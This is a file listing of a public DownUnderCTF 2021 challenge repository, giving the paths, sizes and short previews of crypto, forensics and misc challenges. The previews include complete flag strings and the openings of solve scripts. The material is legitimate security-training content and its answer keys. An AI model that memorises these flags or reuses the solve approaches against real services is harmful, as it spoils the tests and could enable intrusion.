    "preview": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"84581558\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Challenge O"
  },
  {
    "path": "crypto/power-sign/solve/writeup.md",
    "chars": 11850,
    "preview": "## Challenge Overview\n\nWe are given the code running on a server that implements a signature scheme. We can ask the serv"
  },
  {
    "path": "crypto/secuchat/README.md",
    "chars": 459,
    "preview": "# Secuchat\n\n**Category:** crypto\n\n**Difficulty:** medium\n\n**Author:** nullableVoid\\*#7225\n\n\"With end-to-end encryption f"
  },
  {
    "path": "crypto/secuchat/challenge.yml",
    "chars": 484,
    "preview": "version: \"0.1\"\nid: secuchat\nname: Secuchat\ncategory: crypto\ndescription: >\n  \"With end-to-end encryption facilitated by "
  },
  {
    "path": "crypto/secuchat/solve/attack.py",
    "chars": 2433,
    "preview": "#!/usr/bin/env python\nimport sys\nimport sqlite3\nimport itertools\nfrom math import gcd\nfrom Crypto.PublicKey import RSA\nf"
  },
  {
    "path": "crypto/secuchat/solve/writeup.md",
    "chars": 463,
    "preview": "# Solution\nSift through combinations of the population of RSA keys until a common prime is found (this is improbable in "
  },
  {
    "path": "crypto/secuchat/src/flag.txt",
    "chars": 51,
    "preview": "DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}\n"
  },
  {
    "path": "crypto/secuchat/src/generate.py",
    "chars": 4979,
    "preview": "import sys\nfrom faker import Faker\nimport sqlite3\nimport random\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number"
  },
  {
    "path": "crypto/substitution-cipher-i/README.md",
    "chars": 387,
    "preview": "# Substitution Cipher I\n\n**Category:** crypto\n\n**Difficulty:** beginner\n\n**Author:** joseph#8210\n\nJust a simple substitu"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/flag.txt",
    "chars": 29,
    "preview": "DUCTF{sh0uld'v3_us3d_r0t_13}\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/output.txt",
    "chars": 29,
    "preview": "𖿫𖝓玲𰆽𪃵𢙿疗𫢋𥆛🴃䶹𬑽蒵𜭱𫢋𪃵蒵🴃𜭱𩕑疗𪲳𜭱窇蒵𱫳\n"
  },
  {
    "path": "crypto/substitution-cipher-i/challenge/substitution-cipher-i.sage",
    "chars": 207,
    "preview": "def encrypt(msg, f):\n    return ''.join(chr(f.substitute(c)) for c in msg)\n\nP.<x> = PolynomialRing(ZZ)\nf = 13*x^2 + 3*x "
  },
  {
    "path": "crypto/substitution-cipher-i/challenge.yml",
    "chars": 317,
    "preview": "version: \"0.1\"\nid: substitution-cipher-i\nname: Substitution Cipher I\ncategory: crypto\ndescription: |\n  Just a simple sub"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/solve.sage",
    "chars": 197,
    "preview": "P.<x> = PolynomialRing(ZZ)\nf = 13*x^2 + 3*x + 7\n\nenc = open('../challenge/output.txt', 'r').read().strip()\nflag = ''\nfor"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/test.sh",
    "chars": 110,
    "preview": "#!/bin/sh\n\nTMPDIR=`mktemp -d`\n\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/solve\"\nsage solve.sage\n"
  },
  {
    "path": "crypto/substitution-cipher-i/solve/writeup.md",
    "chars": 1668,
    "preview": "The encryption used in the challenge is indeed a simple substitution cipher in disguise. If the text was longer and clos"
  },
  {
    "path": "crypto/substitution-cipher-ii/README.md",
    "chars": 386,
    "preview": "# Substitution Cipher II\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nThat's an interesting loo"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/flag.txt",
    "chars": 25,
    "preview": "DUCTF{go0d_0l'_l4gr4ng3}\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/output.txt",
    "chars": 25,
    "preview": "Ujyw5dnFofaou0au3nx3Cn84\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge/substitution-cipher-ii.sage",
    "chars": 368,
    "preview": "from string import ascii_lowercase, digits\nCHARSET = \"DUCTF{}_!?'\" + ascii_lowercase + digits\nn = len(CHARSET)\n\ndef encr"
  },
  {
    "path": "crypto/substitution-cipher-ii/challenge.yml",
    "chars": 313,
    "preview": "version: \"0.1\"\nid: substitution-cipher-ii\nname: Substitution Cipher II\ncategory: crypto\ndescription: |\n  That's an inter"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/solve.sage",
    "chars": 882,
    "preview": "from string import ascii_lowercase, digits\n\nCHARSET = 'DUCTF{}_!?\\'' + ascii_lowercase + digits\nn = len(CHARSET)\n\ndef to"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/test.sh",
    "chars": 110,
    "preview": "#!/bin/sh\n\nTMPDIR=`mktemp -d`\n\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/solve\"\nsage solve.sage\n"
  },
  {
    "path": "crypto/substitution-cipher-ii/solve/writeup.md",
    "chars": 2782,
    "preview": "This challenge is a sequel to \"Substitution Cipher I\". We have a similar situation as with the first challenge, except i"
  },
  {
    "path": "crypto/substitution-cipher-iii/README.md",
    "chars": 388,
    "preview": "# Substitution Cipher III\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nWait a **MI**nute, that'"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/flag.txt",
    "chars": 28,
    "preview": "DUCTF{MQ_1s_fun_a5e39cf21a}\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/output.txt",
    "chars": 1252194,
    "preview": "(x0*x1 + x0*x6 + x0*x7 + x0*x8 + x0*x11 + x0*x12 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x24 + x0*x27 + x0*x28 + x0*x34"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/substitution-cipher-iii.sage",
    "chars": 1280,
    "preview": "def encrypt(pubkey, msg):\n    gens = pubkey[0].parent().gens()\n    n = len(gens)\n\n    B = ''.join(f'{c:08b}' for c in ms"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge.yml",
    "chars": 319,
    "preview": "version: \"0.1\"\nid: substitution-cipher-iii\nname: Substitution Cipher III\ncategory: crypto\ndescription: |\n  Wait a **MI**"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/solve.sage",
    "chars": 2314,
    "preview": "from Crypto.Util.number import long_to_bytes\nfrom string import printable\nfrom tqdm import tqdm\n\nE, C1, C2 = open('../ch"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/test.sh",
    "chars": 143,
    "preview": "#!/bin/sh\n\nsage --pip install pycrypto tqdm\n\nTMPDIR=`mktemp -d`\ncp -r /work/challenge /work/solve \"$TMPDIR\"\ncd \"$TMPDIR/"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/writeup.ipynb",
    "chars": 14067,
    "preview": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"a0f3f251\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Ov"
  },
  {
    "path": "crypto/substitution-cipher-iii/solve/writeup.md",
    "chars": 11669,
    "preview": "# Challenge Overview\n\nThis challenge is a sequel to \"Substitution Cipher II\", though in terms of difficulty, it is a lar"
  },
  {
    "path": "crypto/treasure/Dockerfile",
    "chars": 224,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nRUN pip install pycryptodome\n\nCOPY ./challenge/flag.txt /ho"
  },
  {
    "path": "crypto/treasure/README.md",
    "chars": 659,
    "preview": "# treasure\n\n**Category:** crypto\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nYou and two friends have spent the past"
  },
  {
    "path": "crypto/treasure/challenge/flag.txt",
    "chars": 76,
    "preview": "DUCTF{m4yb3_th3_r34L_tr34sur3_w4s_th3_fr13nDs_w3_m4d3_al0ng_Th3_W4y.......}\n"
  },
  {
    "path": "crypto/treasure/challenge/secret.py",
    "chars": 464,
    "preview": "FLAG = open('./flag.txt', 'r').read().strip()\nFLAG_MSG = \\\nf'''\nYou travel to the exact coordinates that you found\nand n"
  },
  {
    "path": "crypto/treasure/challenge/treasure.py",
    "chars": 2395,
    "preview": "#!/usr/bin/python3\n\nimport re\nfrom Crypto.Util.number import long_to_bytes\nfrom Crypto.Random import random\nfrom secret "
  },
  {
    "path": "crypto/treasure/challenge.yml",
    "chars": 734,
    "preview": "version: \"0.1\"\nid: treasure\nname: treasure\ncategory: crypto\ndescription: >\n  You and two friends have spent the past yea"
  },
  {
    "path": "crypto/treasure/docker-compose.yml",
    "chars": 135,
    "preview": "version: '3'\nservices:\n  treasure: # challenge name\n    build: .\n    ports:\n      - \"1337:1337\" # local:container\n    pr"
  },
  {
    "path": "crypto/treasure/solve/solve.sage",
    "chars": 793,
    "preview": "import os\nos.environ['PWNLIB_NOTERM'] = 'True'\nfrom pwn import *\nfrom parse import parse\n\nFAKE_COORDS = 5754622710042474"
  },
  {
    "path": "crypto/treasure/solve/writeup.ipynb",
    "chars": 4116,
    "preview": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"e9ef0eb1\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Ov"
  },
  {
    "path": "crypto/treasure/solve/writeup.md",
    "chars": 2844,
    "preview": "# Challenge Overview\n\nWe are tasked with cheating as a participant of a secret sharing scheme. A secret value is split i"
  },
  {
    "path": "crypto/yadlp/README.md",
    "chars": 351,
    "preview": "# yadlp\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\nYet another discrete logarithm problem cha"
  },
  {
    "path": "crypto/yadlp/challenge/flag.txt",
    "chars": 49,
    "preview": "DUCTF{a_1337_hyp3rb0la_m33ts_th3_mult1pl3_DLP!!}\n"
  },
  {
    "path": "crypto/yadlp/challenge/output.txt",
    "chars": 2380,
    "preview": "D = 13337\np = 1756814277843515236297549861115904213890940264207894981447737165132217941784916454940835746477464452571178"
  },
  {
    "path": "crypto/yadlp/challenge/yadlp.sage",
    "chars": 1058,
    "preview": "def G_add(A, B):\n    x1, y1 = A\n    x2, y2 = B\n    return ((x1*x2 + D*y1*y2) % p, (x1*y2 + x2*y1 + 2*y1*y2) % p)\n\ndef G_"
  },
  {
    "path": "crypto/yadlp/challenge.yml",
    "chars": 286,
    "preview": "version: \"0.1\"\nid: yadlp\nname: yadlp\ncategory: crypto\ndescription: >\n  Yet another discrete logarithm problem challenge."
  },
  {
    "path": "crypto/yadlp/solve/solve.sage",
    "chars": 703,
    "preview": "from tqdm import tqdm\n\nexec(open('../challenge/output.txt').read())\n\nproof.arithmetic(False)\nF.<x> = GF(p)[]\nR.<W> = GF("
  },
  {
    "path": "crypto/yadlp/solve/writeup.ipynb",
    "chars": 11254,
    "preview": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"linear-alfred\",\n   \"metadata\": {},\n   \"source\": [\n    \"This chal"
  },
  {
    "path": "crypto/yadlp/solve/writeup.md",
    "chars": 8995,
    "preview": "This challenge follows a similar structure to a commonly seen style of crypto CTF challenges that involve solving the di"
  },
  {
    "path": "forensics/Thats_Not_My_Name/README.md",
    "chars": 279,
    "preview": "# That's Not My Name\n\n**Category:** Forensics\n\n**Difficulty:** easy\n\n**Author:** Conletz#5420\n\nI think some of my data h"
  },
  {
    "path": "forensics/Thats_Not_My_Name/challenge/flag.txt",
    "chars": 24,
    "preview": "DUCTF{c4t_g07_y0ur_n4m3}"
  },
  {
    "path": "forensics/Thats_Not_My_Name/challenge.yml",
    "chars": 279,
    "preview": "version: \"0.1\"\nid: thats-not-my-name\nname: That's Not My Name\ncategory: forensics\ndescription: |\n  I think some of my da"
  },
  {
    "path": "forensics/Thats_Not_My_Name/writeup.md",
    "chars": 1991,
    "preview": "# Solution\n1. We've been provided with a PCAP file, and based off the challenge has been led to believe some data exfilt"
  },
  {
    "path": "forensics/The_File_Is_Lava/README.md",
    "chars": 548,
    "preview": "# The File is Lava\n\n**Category:** Forensics\n\n**Difficulty:** Medium\n\n**Author:** TheDone\\*#2152\n\nAcme Inc. has found tha"
  },
  {
    "path": "forensics/The_File_Is_Lava/WRITEUP.md",
    "chars": 2890,
    "preview": "# Challenge writeup\n\n### Scenario:\n\nForensic investigators believe this machine might have been involved to perform data"
  },
  {
    "path": "forensics/The_File_Is_Lava/challenge.yml",
    "chars": 1255,
    "preview": "version: \"0.1\"\r\nid: the-file-is-lava\r\nname: The File is Lava\r\ncategory: forensics\r\ndescription: |\r\n  Acme Inc. has found"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/README.md",
    "chars": 538,
    "preview": "# Want to play a game?\n\n**Category:** Forensics\n\n**Difficulty:** Medium\n\n**Author:** Conletz#5420\n\nMy PC has been infect"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/challenge.yml",
    "chars": 836,
    "preview": "version: \"0.1\"\nid: want-to-play-a-game\nname: Want to Play a Game?\ncategory: forensics\ndescription: |\n  My PC has been in"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/flag.txt",
    "chars": 44,
    "preview": "DUCTF{jigsaw_firefox.exe_PJxhJQ9yUDoBF1188y}"
  },
  {
    "path": "forensics/WouldYouLikeToPlayAGame/writeup.md",
    "chars": 2050,
    "preview": "# Solution\n1. First step is to determine the profile and OS of the memory dump - (with volatility)\n```\nvol.py -f JacobsP"
  },
  {
    "path": "forensics/do_the_loop/README.md",
    "chars": 309,
    "preview": "# Do the loop!\n**Category:** misc\n\n**Difficulty:** easy\n\n**Author:** Yo_Yo_Bro\n\nDo the loop doop doop...\n\n**Flag Format:"
  },
  {
    "path": "forensics/do_the_loop/challenge/flag.txt",
    "chars": 69,
    "preview": "ICOULDLISTENTOTHISONLOOPALLDAY\nI COULD LISTEN TO THIS ON LOOP ALL DAY"
  },
  {
    "path": "forensics/do_the_loop/challenge.yml",
    "chars": 512,
    "preview": "version: \"0.1\"\nid: monorail\nname: Do the loop!\ncategory: forensics\ndescription: |\n  \"Do the loop doop doop...\"\n  \n  Flag"
  },
  {
    "path": "forensics/do_the_loop/writeup.md",
    "chars": 532,
    "preview": "# Do the loop!\nWe are provided with monorail.wav, an catchy tune that sounds like it has Morse Code overlaid on it\n\nI pe"
  },
  {
    "path": "forensics/how-to-pronounce-gif/README.md",
    "chars": 350,
    "preview": "# How to pronounce GIF?\n\n**Category:** misc\n\n**Difficulty:** Easy\n\n**Author:** xXl33t_h@x0rXx\n\nOur machine that makes QR"
  },
  {
    "path": "forensics/how-to-pronounce-gif/WRITEUP.md",
    "chars": 1918,
    "preview": "# How to pronounce GIF?\n\nThe gif is moving fast, while you could try to record the screen or load the gif into an graphi"
  },
  {
    "path": "forensics/how-to-pronounce-gif/challenge.yml",
    "chars": 349,
    "preview": "version: \"0.1\"\nid: how-to-pronounce-gif\nname: How to pronounce GIF\ncategory: forensics\ndescription: |\n  Our machine that"
  },
  {
    "path": "forensics/retro/README.md",
    "chars": 332,
    "preview": "# Retro\n\n**Category:** misc\n\n**Difficulty:** easy\n\n**Author:** Yo_Yo_Bro\n\nOur original logo was created in paint, I wond"
  },
  {
    "path": "forensics/retro/challenge/flag.txt",
    "chars": 25,
    "preview": "DUCTF{sicc_paint_skillz!}"
  },
  {
    "path": "forensics/retro/challenge.yml",
    "chars": 263,
    "preview": "version: \"0.1\"\nid: hipster\nname: Retro!\ncategory: forensics\ndescription: |\n  \"Our original logo was created in paint, I "
  },
  {
    "path": "forensics/retro/writeup.md",
    "chars": 246,
    "preview": "# Retro\nWe are provided with og.jpg, and the suggestion it hides a secret..\n\nFirst thing i checked was the photos exif d"
  },
  {
    "path": "misc/builder/README.md",
    "chars": 332,
    "preview": "# Builder\n\n**Category:** misc\n\n**Difficulty:** beginner\n\n**Author:** BearArms (Cybears)\n\nIn order to build your skills y"
  },
  {
    "path": "misc/builder/challenge/builder.mpd",
    "chars": 22924,
    "preview": "0 FILE challenge.ldr\r\n0 Name: challenge.ldr\r\n1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr\r\n1 2 -320 0 0 1 0 0 0 1 0 0 0"
  },
  {
    "path": "misc/builder/challenge.yml",
    "chars": 309,
    "preview": "version: \"0.1\"\nid: builder\nname: Builder\ncategory: misc\ndescription: |\n  In order to build your skills you need to start"
  },
  {
    "path": "misc/builder/solve/writeup.md",
    "chars": 1943,
    "preview": "# Walkthrough - Builder\n\nYou're presented with `builder.mpd`.\nWhatever `.mpd` is.\nInspecting the file you can see that i"
  },
  {
    "path": "misc/canary/Dockerfile",
    "chars": 326,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/bin-builder:ubuntu-18.04 AS build\nCOPY ./publish/canary.c /build/\nRUN gcc -o /bu"
  },
  {
    "path": "misc/canary/README.md",
    "chars": 1664,
    "preview": "# Canary\n\n**Author:** 247CTF.com\n\n**Category:** misc\n\n**Difficulty:** Moderate\n\n_Can you sneak the secret CTF code past "
  },
  {
    "path": "misc/canary/canary_socket.c",
    "chars": 3978,
    "preview": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <unistd.h"
  },
  {
    "path": "misc/canary/challenge.yml",
    "chars": 324,
    "preview": "version: \"0.1\"\nid: canary\nname: Canary\ncategory: misc\ndescription: >\n  Can you sneak the secret CTF code past the canary"
  },
  {
    "path": "misc/canary/flag.txt",
    "chars": 31,
    "preview": "DUCTF{chirp_charp_chorp_churp}\n"
  },
  {
    "path": "misc/canary/nsjail.cfg",
    "chars": 848,
    "preview": "name: \"challenge\"\ndescription: \"Default nsjail configuration for pwnable-style CTF task.\"\n\nmode: LISTEN\nuidmap {inside_i"
  },
  {
    "path": "misc/canary/publish/canary.c",
    "chars": 3058,
    "preview": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#define KEY_LENGTH 16\n#define USER_BUFFE"
  },
  {
    "path": "misc/canary/solve/canary_solve.py",
    "chars": 319,
    "preview": "#!/usr/bin/python3\n\nfrom pwn import *\nimport os\nfrom time import sleep\n\n#r = process(\"./canary\")\nr = remote(os.environ.g"
  },
  {
    "path": "misc/discord/README.md",
    "chars": 184,
    "preview": "# Discord\n**Category:** misc\n\n**Difficulty:** Beginner\n\n**Author:** Crem\n\nHow about you visit our help page? You know wh"
  },
  {
    "path": "misc/discord/WRITEUP.md",
    "chars": 334,
    "preview": "# Discord\n\nJust a small challenge to teach our competitors how to use our new ticketing/support system on discord :)\n\nSi"
  },
  {
    "path": "misc/discord/challenge.yml",
    "chars": 287,
    "preview": "version: \"0.1\"\nid: discord\nname: Discord\ncategory: misc\ndescription: |\n  How about you visit our help page? You know wha"
  },
  {
    "path": "misc/floormat/Dockerfile",
    "chars": 169,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nWORKDIR /home/ctf\nCOPY ./src/flag.txt chal/\nCOPY ./src/floo"
  },
  {
    "path": "misc/floormat/README.md",
    "chars": 1039,
    "preview": "# Floormat\n\n**Category:** Misc\n**Difficulty:** Easy\n**Author:** todo#7331\n\n_I've opened a new store that provides free f"
  },
  {
    "path": "misc/floormat/challenge.yml",
    "chars": 388,
    "preview": "version: \"0.1\"\nid: floormat\nname: Floormat\ncategory: misc\ndescription: >\n  I've opened a new store that provides free fu"
  },
  {
    "path": "misc/floormat/publish/floormat.py",
    "chars": 3720,
    "preview": "import abc\nimport string\nimport random\n\nFLAG = 'REDACTED'\n\nclass Design(abc.ABC):\n    def __init__(self, design=[]):\n   "
  },
  {
    "path": "misc/floormat/solve/solve.py",
    "chars": 649,
    "preview": "#!/usr/bin/python3\nimport socket\nimport os\n\ndef recv_until(sock, until):\n    buf = b\"\"\n    c = sock.recv(1)\n    while c:"
  },
  {
    "path": "misc/floormat/src/flag.txt",
    "chars": 49,
    "preview": "DUCTF{fenomenal_flags_from_funky_formats_ffffff}\n"
  },
  {
    "path": "misc/floormat/src/floormat.py",
    "chars": 3781,
    "preview": "#!/usr/bin/python3.8\nimport os\nimport abc\nimport string\nimport random\n\nwith open(\"flag.txt\") as f:\n    FLAG = f.read()\n\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/.dockerignore",
    "chars": 7,
    "preview": "solve/\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/.gcloudignore",
    "chars": 7,
    "preview": "solve/\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/Dockerfile",
    "chars": 501,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04\n\nCOPY ./challenge/requirements.txt /home/ctf/chal/\nRUN pip i"
  },
  {
    "path": "misc/flying-spaghetti-monster/README.md",
    "chars": 525,
    "preview": "# Flying Spaghetti Monster\n\n**Category:** misc\n\n**Difficulty:** hard\n\n**Author:** hypersphere (Cybears)\n\nA glorious tang"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/canned-inputs.txt",
    "chars": 1494,
    "preview": "# We do a few simple challenges without timeouts first\n# This first one is the challenge \"42\", not a timeout of 42\n42\n# "
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/canned.json",
    "chars": 6842,
    "preview": "[{\"data\": \"42\", \"f_expr\": \"1042029647*x + 41704533\", \"final_state\": 28}, {\"data\": \"lol\", \"f_expr\": \"14401024110667*x + 4"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/entry.sh",
    "chars": 133,
    "preview": "#!/bin/bash\n\nPOW_DIFFICULTY=8000\n\nif ! /chal/pow.py ask \"$POW_DIFFICULTY\"; then\n    echo 'pow fail'\n    exit 1\nfi\n\nexec "
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/flag.txt",
    "chars": 45,
    "preview": "DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm}\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/fsm.py",
    "chars": 3792,
    "preview": "import inspect\nimport itertools\nimport json\nimport random\nimport string\n\nimport networkx\nimport sympy\n\nGEN_CHUNK = 8192\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/fsm.txt",
    "chars": 249876,
    "preview": "7->7\t126\t59141*x + 8045\n87->20\t62\t78809*x + 2638\n46->78\t76\t37693*x + 2099\n20->44\t45\t3389*x + 7787\n81->80\t110\t58913*x + 2"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/pow.py",
    "chars": 5507,
    "preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Versio"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/requirements.txt",
    "chars": 20,
    "preview": "networkx\nsympy\necdsa"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge/server.py",
    "chars": 4919,
    "preview": "#!/usr/bin/env python3\nimport base64\nimport inspect\nimport json\nimport random\nimport signal\nimport string\nimport threadi"
  },
  {
    "path": "misc/flying-spaghetti-monster/challenge.yml",
    "chars": 561,
    "preview": "version: \"0.1\"\nid: fsm\nname: Flying Spaghetti Monster\ncategory: misc\ndescription: |\n  A glorious tangle came toward me a"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/Dockerfile.solve",
    "chars": 213,
    "preview": "# vi: ft=dockerfile\nFROM python:3\n\nCOPY requirements.txt requirements-solve.txt /tmp/\nRUN python3 -m pip install -r /tmp"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/fsm.py",
    "chars": 3792,
    "preview": "import inspect\nimport itertools\nimport json\nimport random\nimport string\n\nimport networkx\nimport sympy\n\nGEN_CHUNK = 8192\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/requirements-solve.txt",
    "chars": 34,
    "preview": "-r requirements.txt\npwntools\nyarl\n"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/solve.py",
    "chars": 2557,
    "preview": "#/usr/bin/env python3\nimport collections\nimport subprocess\nimport time\nimport re\n\nimport networkx\nimport pwn\nimport symp"
  },
  {
    "path": "misc/flying-spaghetti-monster/solve/writeup.md",
    "chars": 3969,
    "preview": "## Flying Spaghetti Monster\n\nThis is a challenge that presents something which looks roughly like a finite\nstate machine"
  },
  {
    "path": "misc/gammasafe/Dockerfile",
    "chars": 181,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/"
  },
  {
    "path": "misc/gammasafe/README.md",
    "chars": 269,
    "preview": "# GammaSafe\n\n**Category:** Misc\n\n**Difficulty:** Easy\n\n**Author:** nullableVoid\\*#7225\n\nGammaSafe is the industry standa"
  },
  {
    "path": "misc/gammasafe/challenge/flag.txt",
    "chars": 40,
    "preview": "DUCTF{>[current year]\\n>t1m1ng 4774ck5}\n"
  },
  {
    "path": "misc/gammasafe/challenge/server.py",
    "chars": 1223,
    "preview": "#!/usr/bin/python3.8\nimport time\n\nFLAG = open(\"flag.txt\", \"r\").read().strip()\nSECRET = b\"&\\xc6\\x02\\xf2\"\n\n\ndef main():\n  "
  },
  {
    "path": "misc/gammasafe/challenge.yml",
    "chars": 428,
    "preview": "version: \"0.1\"\nid: gammasafe\nname: GammaSafe\ncategory: misc\ndescription: >\n  GammaSafe is the industry standard for a li"
  },
  {
    "path": "misc/gammasafe/publish/gs_strcmp.3",
    "chars": 530,
    "preview": ".TH GS_STRCMP 3  \"\" \"\" \"GammaSafe Library Manual\"\n.SH NAME\nGS_strcmp \\- safely compare two strings\n.SH SYNOPSIS\n.nf \n.B "
  },
  {
    "path": "misc/gammasafe/solve/solve.py",
    "chars": 1059,
    "preview": "from pwn import remote, context\nfrom sys import argv\nimport time\n\nknown = b\"\"\n\ncontext.timeout = None\n\nthreshold = 0.5\n\n"
  },
  {
    "path": "misc/gammasafe/solve/solve.threaded.py",
    "chars": 1672,
    "preview": "# Author: github/uint0\nimport time\nimport socket\nimport contextlib\nimport concurrent.futures\n\nMAX_THREADS = 8\nMIN_SAMPLE"
  },
  {
    "path": "misc/general_skills_quiz/Dockerfile",
    "chars": 219,
    "preview": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY /challenge/challenge.py /home/ctf/chal/pwn\nCOPY /chall"
  },
  {
    "path": "misc/general_skills_quiz/README.md",
    "chars": 179,
    "preview": "# General Skills Quiz Challenge\n\n**Author:** Crem\n\n**Category:** misc\n\n**Difficulty:** Beginner\n\n## Description\n\nQUIZ TI"
  }
]

// ... and 370 more files (download for full content)

About this extraction

This page contains the full source code of the DownUnderCTF/Challenges_2021_Public GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 570 files (19.5 MB), approximately 808.9k tokens, and a symbol index with 501 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!